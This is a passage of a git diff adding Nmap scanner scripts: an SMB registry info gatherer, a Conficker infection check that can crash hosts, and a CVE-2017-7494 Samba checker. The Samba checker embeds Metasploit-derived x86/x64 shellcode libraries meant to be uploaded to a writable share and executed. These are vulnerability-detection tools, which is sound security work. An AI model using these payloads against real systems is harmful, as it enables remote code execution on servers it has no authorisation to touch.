+ result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier")
+ end
+ -- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated")
+
+ -- TODO: Known DLLs?
+
+ -- Paging file
+ result['status-pagingfiles'], result['pagingfiles'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "PagingFiles")
+ result['status-clearpagefileatshutdown'], result['clearpagefileatshutdown'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management", "ClearPageFileAtShutdown")
+
+ -- OS Information
+ result['status-csdversion'], result['csdversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CSDVersion")
+ if(result['status-csdversion'] == false) then
+ result['csdversion'] = "(no service packs)"
+ end
+ result['status-currentbuildnumber'], result['currentbuildnumber'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber")
+ result['status-currenttype'], result['currenttype'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentType")
+ result['status-currentversion'], result['currentversion'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion")
+ result['status-installdate'], result['installdate'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "InstallDate")
+ if(result['status-installdate'] ~= false) then
+ result['installdate'] = datetime.format_timestamp(result['installdate'])
+ end
+
+ result['status-productname'], result['productname'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "Productname")
+ result['status-registeredowner'], result['registeredowner'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOwner")
+ result['status-registeredorganization'], result['registeredorganization'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "RegisteredOrganization")
+ result['status-systemroot'], result['systemroot'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Windows NT\\CurrentVersion", "SystemRoot")
+ result['status-producttype'], result['producttype'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductType")
+ result['status-productsuite'], result['productsuite'] = reg_get_value(smbstate, openhklm_result['handle'], "System\\CurrentControlSet\\Control\\ProductOptions", "ProductSuite")
+
+ -- Driver information
+ result['status-video_driverdesc'], result['video_driverdesc'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc")
+
+ -- Software versions
+ result['status-ie_version'], result['ie_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Microsoft\\Internet Explorer\\Version Vector", "IE")
+ result['status-ff_version'], result['ff_version'] = reg_get_value(smbstate, openhklm_result['handle'], "Software\\Mozilla\\Mozilla Firefox", "CurrentVersion")
+ if(result['status-ff_version'] == false) then
+ result['ff_version'] = "<not installed>"
+ end
+
+ msrpc.stop_smb(smbstate)
+
+ return true, result
+end
+
+action = function(host)
+
+ local status, result = get_info_registry(host)
+
+ if(status == false) then
+ return stdnse.format_output(false, result)
+ end
+
+ local response = {}
+
+ if(result['status-os'] == true) then
+ local osdetails = {}
+ osdetails['name'] = "OS Details"
+ table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
+ table.insert(osdetails, string.format("Installed on %s", result['installdate']))
+ table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
+ table.insert(osdetails, string.format("Path: %s", result['path']))
+ table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
+ table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
+ table.insert(response, osdetails)
+
+ local hardware = {}
+ hardware['name'] = "Hardware"
+ -- remove trailing zero terminator
+ local num_procs = result['number_of_processors']:match("^[^%z]*")
+ for i = 0, tonumber(num_procs) - 1, 1 do
+ if(result['status-processornamestring'..i] == false) then
+ result['status-processornamestring'..i] = "Unknown"
+ end
+
+ local processor = {}
+ processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
+ table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
+ table.insert(hardware, processor)
+ end
+ table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
+ table.insert(response, hardware)
+
+ local browsers = {}
+ browsers['name'] = "Browsers"
+ table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
+ if(result['status-ff_version']) then
+ table.insert(browsers, string.format("Firefox %s", result['ff_version']))
+ end
+ table.insert(response, browsers)
+
+ return stdnse.format_output(true, response)
+ elseif(result['status-productname'] == true) then
+
+ local osdetails = {}
+ osdetails['name'] = 'OS Details'
+ osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
+
+ table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
+ table.insert(osdetails, string.format("Installed on %s", result['installdate']))
+ table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
+ table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
+ table.insert(response, osdetails)
+
+ return stdnse.format_output(true, response)
+ end
+
+ return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
+end
+
+
diff --git a/scripts/smb-vuln-conficker.nse b/scripts/smb-vuln-conficker.nse
new file mode 100644
index 0000000..976a926
--- /dev/null
+++ b/scripts/smb-vuln-conficker.nse
@@ -0,0 +1,188 @@
+local msrpc = require "msrpc"
+local nmap = require "nmap"
+local smb = require "smb"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+Detects Microsoft Windows systems infected by the Conficker worm. This check is dangerous and
+it may crash systems.
+
+Based loosely on the Simple Conficker Scanner, found here:
+-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/
+
+This check was previously part of smb-check-vulns.
+]]
+---
+--@usage
+-- nmap --script smb-vuln-conficker.nse -p445 <host>
+-- nmap -sU --script smb-vuln-conficker.nse -p T:139 <host>
+--
+--@output
+--| smb-vuln-conficker:
+--| VULNERABLE:
+--| Microsoft Windows system infected by Conficker
+--| State: VULNERABLE
+--| IDs: CVE:2008-4250
+--| This system shows signs of being infected by a variant of the worm Conficker.
+--| References:
+--| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
+--| http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fConficker
+--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
+---
+
+author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","exploit","dos","vuln"}
+-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
+-- other scans have had a chance to run)
+dependencies = {
+ "smb-brute", "smb-enum-sessions", "smb-security-mode",
+ "smb-enum-shares", "smb-server-stats",
+ "smb-enum-domains", "smb-enum-users", "smb-system-info",
+ "smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
+ "smb-psexec",
+};
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local INFECTED = 5
+local INFECTED2 = 6
+local CLEAN = 7
+
+-- Help messages for the more common errors seen by the Conficker check.
+CONFICKER_ERROR_HELP = {
+ ["NT_STATUS_BAD_NETWORK_NAME"] =
+ [[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]],
+ -- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)"
+ -- http://www.skullsecurity.org/blog/?p=209#comment-156
+ -- "That means either it isn’t a Windows machine, or the service is
+ -- either crashed or not running. That may indicate a failed (or
+ -- successful) exploit attempt, or just a locked down system.
+ -- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser
+ -- service is disabled. There are at least two ways that can happen:
+ -- 1) The service itself is disabled in the services list.
+ -- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList
+ -- is set to Off/False/No rather than Auto or yes.
+ -- On these systems, if you reenable the browser service, then the
+ -- test will complete."
+ ["NT_STATUS_OBJECT_NAME_NOT_FOUND"] =
+ [[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
+| If you know the remote system is Windows, try rebooting it and scanning
+|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]],
+ -- http://www.skullsecurity.org/blog/?p=209#comment-100
+ -- "That likely means that the server has been locked down, so we
+ -- don’t have access to the necessary pipe. Fortunately, that means
+ -- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably
+ -- means you’re ok."
+ ["NT_STATUS_ACCESS_DENIED"] =
+ [[Likely CLEAN; access was denied.
+| If you have a login, try using --script-args=smbuser=xxx,smbpass=yyy
+| (replace xxx and yyy with your username and password). Also try
+|_ smbdomain=zzz if you know the domain. (Error NT_STATUS_ACCESS_DENIED)]],
+ -- The cause of these two is still unknown.
+ -- ["NT_STATUS_NOT_SUPPORTED"] =
+ -- [[]]
+ -- http://thatsbroken.com/?cat=5 (doesn't seem common)
+ -- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] =
+ -- [[]]
+}
+
+---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch,
+-- which rejects a different illegal string than the official patch rejects.
+--
+-- Based loosely on the Simple Conficker Scanner, found here:
+-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/
+--
+-- If there's a licensing issue, please let me (Ron Bowes) know so I can fix it
+--
+--@param host The host object.
+--@return (status, result) If status is false, result is an error code; otherwise, result is either
+-- <code>INFECTED</code> or <code>INFECTED2</code> for infected or <code>CLEAN</code> for not infected.
+function check_conficker(host)
+ local status, smbstate
+ local bind_result, netpathcompare_result
+
+ -- Create the SMB session
+ status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SRVSVC service
+ status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Try checking a valid string to find Conficker.D
+ local netpathcanonicalize_result, error_result
+ status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\")
+ if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then
+ msrpc.stop_smb(smbstate)
+ return true, INFECTED2
+ end
+
+ -- Try checking an illegal string ("\..\") to find Conficker.C and earlier
+ status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\")
+
+ if(status == false) then
+ if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then
+ msrpc.stop_smb(smbstate)
+ return true, CLEAN
+ elseif(string.find(netpathcanonicalize_result, "WERR_INVALID_PARAMETER") ~= nil) then
+ msrpc.stop_smb(smbstate)
+ return true, INFECTED
+ else
+ msrpc.stop_smb(smbstate)
+ return false, netpathcanonicalize_result
+ end
+ end
+
+ -- Stop the SMB session
+ msrpc.stop_smb(smbstate)
+
+ return true, CLEAN
+end
+
+action = function(host)
+
+ local status, result, message
+ local response = {}
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
+ local vuln_table = {
+ title = 'Microsoft Windows system infected by Conficker',
+ IDS = {CVE = '2008-4250'},
+ description = [[
+This system shows signs of being infected by a variant of the worm Conficker.]],
+ state = vulns.STATE.NOT_VULN,
+ references = {
+ 'http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fConficker',
+ 'https://technet.microsoft.com/en-us/library/security/ms08-067.aspx',
+ }
+ }
+
+ -- Check for Conficker
+ status, result = check_conficker(host)
+ if(status == false) then
+ vuln_table.extra_info = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
+ vuln_table.state = vulns.STATE.NOT_VULN
+ else
+ if(result == CLEAN) then
+ vuln_table.state = vulns.STATE.NOT_VULN
+ elseif(result == INFECTED) then
+ vuln_table.extra_info = "Likely infected by Conficker.C or lower"
+ vuln_table.state = vulns.STATE.LIKELY_VULN
+ elseif(result == INFECTED2) then
+ vuln_table.extra_info = "Likely infected by Conficker.D or higher"
+ vuln_table.state = vulns.STATE.LIKELY_VULN
+ else
+ vuln_table.state = vulns.STATE.NOT_VULN
+ end
+ end
+ return vuln_report:make_output(vuln_table)
+end
diff --git a/scripts/smb-vuln-cve-2017-7494.nse b/scripts/smb-vuln-cve-2017-7494.nse
new file mode 100644
index 0000000..e48407c
--- /dev/null
+++ b/scripts/smb-vuln-cve-2017-7494.nse
@@ -0,0 +1,517 @@
+local smb = require "smb"
+local string = require "string"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+local table = require "table"
+local nmap = require "nmap"
+
+description = [[
+Checks if target machines are vulnerable to the arbitrary shared library load
+vulnerability CVE-2017-7494.
+
+Unpatched versions of Samba from 3.5.0 to 4.4.13, and versions prior to
+4.5.10 and 4.6.4 are affected by a vulnerability that allows remote code
+execution, allowing a malicious client to upload a shared library to a writable
+share, and then cause the server to load and execute it.
+
+The script does not scan the version numbers by default as the patches released
+for the mainstream Linux distributions do not change the version numbers.
+
+The script checks the preconditions for the exploit to happen:
+
+1) If the argument check-version is applied, the script will ONLY check
+ services running potentially vulnerable versions of Samba, and run the
+ exploit against those services. This is useful if you wish to scan a
+ group of hosts quickly for the vulnerability based on the version number.
+ However, because of their version number, some patched versions may still
+ show up as likely vulnerable. Here, we use smb.get_os(host) to do
+ versioning of the Samba version and compare it to see if it is a known
+ vulnerable version of Samba. Note that this check is not conclusive:
+ See 2,3,4
+
+2) Whether there exists writable shares for the execution of the script.
+ We must be able to write to a file to the share for the exploit to
+ take place. We hence enumerate the shares using
+ smb.share_find_writable(host) which returns the main_name, main_path
+ and a list of writable shares.
+
+3) Whether the workaround (disabling of named pipes) was applied.
+ When "nt pipe support = no" is configured on the host, the service
+ would not be exploitable. Hence, we check whether this is configured
+ on the host using smb.share_get_details(host, 'IPC$'). The error
+ returned would be "NT_STATUS_ACCESS_DENIED" if the workaround is
+ applied.
+
+4) Whether we can invoke the payloads from the shares.
+ Using payloads from Metasploit, we upload the library files to
+ the writable share obtained from 2). We then make a named pipe request
+ using NT_CREATE_ANDX_REQUEST to the actual local filepath and if the
+ payload executes, the status return will be false. Note that only
+ Linux_x86 and Linux_x64 payloads are tested in this script.
+
+This script is based on the metasploit module written by hdm.
+
+References:
+* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb
+* https://www.samba.org/samba/security/CVE-2017-7494.html
+* http://blog.nsfocus.net/samba-remote-code-execution-vulnerability-analysis/
+]]
+
+---
+-- @usage nmap --script smb-vuln-cve-2017-7494 -p 445 <target>
+-- @usage nmap --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -p445 <target>
+-- @output
+-- PORT STATE SERVICE
+-- 445/tcp open microsoft-ds
+-- MAC Address: 00:0C:29:16:04:53 (VMware)
+--
+-- | smb-vuln-cve-2017-7494:
+-- | VULNERABLE:
+-- | SAMBA Remote Code Execution from Writable Share
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2017-7494
+-- | Risk factor: HIGH CVSSv3: 7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)
+-- | All versions of Samba from 3.5.0 onwards are vulnerable to a remote
+-- | code execution vulnerability, allowing a malicious client to upload a
+-- | shared library to a writable share, and then cause the server to load
+-- | and execute it.
+-- |
+-- | Disclosure date: 2017-05-24
+-- | Check results:
+-- | Samba Version: 4.3.9-Ubuntu
+-- | Writable share found.
+-- | Name: \\192.168.15.131\test
+-- | Exploitation of CVE-2017-7494 succeeded!
+-- | Extra information:
+-- | All writable shares:
+-- | Name: \\192.168.15.131\test
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494
+-- |_ https://www.samba.org/samba/security/CVE-2017-7494.html
+--
+-- @xmloutput
+-- <table key="CVE-2017-7494">
+-- <elem key="title">SAMBA Remote Code Execution from Writable Share</elem>
+-- <elem key="state">VULNERABLE</elem>
+-- <table key="ids">
+-- <elem>CVE:CVE-2017-7494</elem>
+-- </table>
+-- <table key="scores">
+-- <elem key="CVSSv3">7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)</elem>
+-- </table>
+-- <table key="description">
+-- <elem>All versions of Samba from 3.5.0 onwards are vulnerable to a remote&#xa;code execution vulnerability, allowing a malicious client to upload a&#xa;shared library to a writable share, and then cause the server to load&#xa;and execute it.&#xa;</elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="year">2017</elem>
+-- <elem key="day">24</elem>
+-- <elem key="month">05</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2017-05-24</elem>
+-- <table key="check_results">
+-- <elem>Samba Version: 4.3.9-Ubuntu</elem>
+-- <elem>Writable share found. &#xa; Name: \\192.168.15.131\test</elem>
+-- <elem>Exploitation of CVE-2017-7494 succeeded!</elem>
+-- </table>
+-- <table key="extra_info">
+-- <elem>All writable shares:</elem>
+-- <elem> Name: \\192.168.15.131\test</elem>
+-- </table>
+-- <table key="refs">
+-- <elem>https://www.samba.org/samba/security/CVE-2017-7494.html</elem>
+-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494</elem>
+-- </table>
+-- </table>
+-- @args smb-vuln-cve-2017-7494.check-version Check only the version numbers the target's Samba service. Default: false
+--
+---
+
+author = "Wong Wai Tuck"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln","intrusive"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+dependencies = {"smb-os-discovery", "smb-brute"}
+
+--linux/x86/exec (CMD=id)
+local PAYLOAD_X86 = {
+0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x03, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
+0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
+0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x1C, 0x01, 0x00, 0x00, 0x42, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
+0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00,
+0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
+0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00,
+0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
+0xF4, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x0B, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2D, 0x63, 0x89,
+0xE7, 0x68, 0x2F, 0x73, 0x68, 0x00, 0x68, 0x2F, 0x62, 0x69, 0x6E, 0x89, 0xE3, 0x52, 0xE8, 0x03,
+0x00, 0x00, 0x00, 0x69, 0x64, 0x00, 0x57, 0x53, 0x89, 0xE1, 0xCD, 0x80,
+}
+
+--linux/x64/exec (CMD=id)
+local PAYLOAD_X64 = {
+0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x03, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x02, 0x00, 0x01, 0x00,
+0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0xBC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
+0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x6A, 0x3B, 0x58, 0x99, 0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00,
+0x53, 0x48, 0x89, 0xE7, 0x68, 0x2D, 0x63, 0x00, 0x00, 0x48, 0x89, 0xE6, 0x52, 0xE8, 0x03, 0x00,
+0x00, 0x00, 0x69, 0x64, 0x00, 0x56, 0x57, 0x48, 0x89, 0xE6, 0x0F, 0x05,
+}
+
+PAYLOAD_X86 = string.char(table.unpack(PAYLOAD_X86))
+PAYLOAD_X64 = string.char(table.unpack(PAYLOAD_X64))
+
+-- directories to look through if actual path cannot be queried
+local COMMON_DIRS = {"/volume1/","/volume2/","/volume3/","/volume4/",
+ "/shared/","/mnt/","/mnt/usb/","/media/","/mnt/media/","/var/samba/",
+ "/tmp/","/home/","/home/shared/"}
+
+-- filename used to save into the shared folders
+local FILENAME = 'test.so'
+
+local payloads = {PAYLOAD_X86, PAYLOAD_X64}
+
+--- Determines whether the version of Samba is vulnerable and sets it in the
+-- table samba_cve. Note that version numbers may not indicate vulnerability
+-- as there are patches released (e.g. for Ubuntu) which did not change the
+-- version of Samba
+--
+-- @param version The string containing the version of Samba
+-- @param samba_cve The vuln table containing information for the results
+local function determine_vuln_version(version, samba_cve)
+ local major, minor, patch
+ major, minor, patch = string.match(version,"(%d+)%.(%d+)%.(%d+).*")
+ stdnse.debug("Major version: %s, Minor version: %s, Patch version: %s", major, minor, patch)
+ major, minor, patch = tonumber(major), tonumber(minor), tonumber(patch)
+
+ -- no patches available for 3.5.X and 3.6.X
+ if major == 3 and minor >= 5 then
+ samba_cve.state = vulns.STATE.LIKELY_VULN
+ elseif major == 4 then
+ if minor < 4 then
+ samba_cve.state = vulns.STATE.LIKELY_VULN
+ -- patched in 4.4.14
+ elseif minor == 4 and patch < 14 then
+ samba_cve.state = vulns.STATE.LIKELY_VULN
+ -- patched in 4.5.10
+ elseif minor == 5 and patch < 10 then
+ samba_cve.state = vulns.STATE.LIKELY_VULN
+ -- patched in 4.6.4
+ elseif minor == 6 and patch < 4 then
+ samba_cve.state = vulns.STATE.LIKELY_VULN
+ end
+ end
+end
+
+--- Finds all writable shares on the target host and stores the name and path
+-- into samba_cve stable, using smb.share_find_writable
+--
+-- @param host The target host
+-- @param samba_cve The vuln table containing information for the results
+-- @return (main_name, main_path) Two strings, containing the name of the main
+-- writable share and its path
+local function find_writable_shares(host, samba_cve)
+ -- determine if there are writable shares
+ local status, main_name, main_path, names
+ status, main_name, main_path, names = smb.share_find_writable(host)
+
+ -- successful in finding writable share
+ if status then
+ local msg = string.format("Writable share found. \n Name: %s", main_name)
+ if main_path then
+ msg = msg .. string.format("\n Path: %s ", main_path)
+ end
+
+ -- insert main writable directory with path into check_results
+ table.insert(samba_cve.check_results, msg)
+
+ -- insert names of other writable shares to extra_info
+ if #names > 0 then
+ table.insert(samba_cve.extra_info, string.format(
+ "All writable shares:"))
+ end
+ for i = 1, #names, 1 do
+ table.insert(samba_cve.extra_info, string.format(" Name: %s", main_name))
+ end
+ else
+ -- writable share enumeration failed, return error message stored in main_name
+ local err = main_name
+ table.insert(samba_cve.extra_info, err)
+ main_name = nil
+ end
+
+ -- main_path is C:\<actual share>
+ -- we map it to the equivalent statement in Unix filesystems
+ -- i.e. /<actual share>/
+ if main_path then
+ main_path = "/" .. string.sub(main_path, 4) .. "/"
+ end
+
+ return main_name, main_path
+end
+
+--- Check if the suggested workaround "nt pipe support = no" was applied on
+-- the target host. The script checks if details can be queried on IPC$
+-- which in a typical case will return details on the IPC, but if the
+-- workaround is applied, an error of 'NT_STATUS_ACCESS_DENIED' is returned
+--
+-- @param host The target host
+-- @param samba_cve The vuln table containing information for the results
+-- @return A boolean indicating the nt pipe support is enabled, which
+-- indicates the workaround was not applied
+local function is_ntpipesupport_enabled(host, samba_cve)
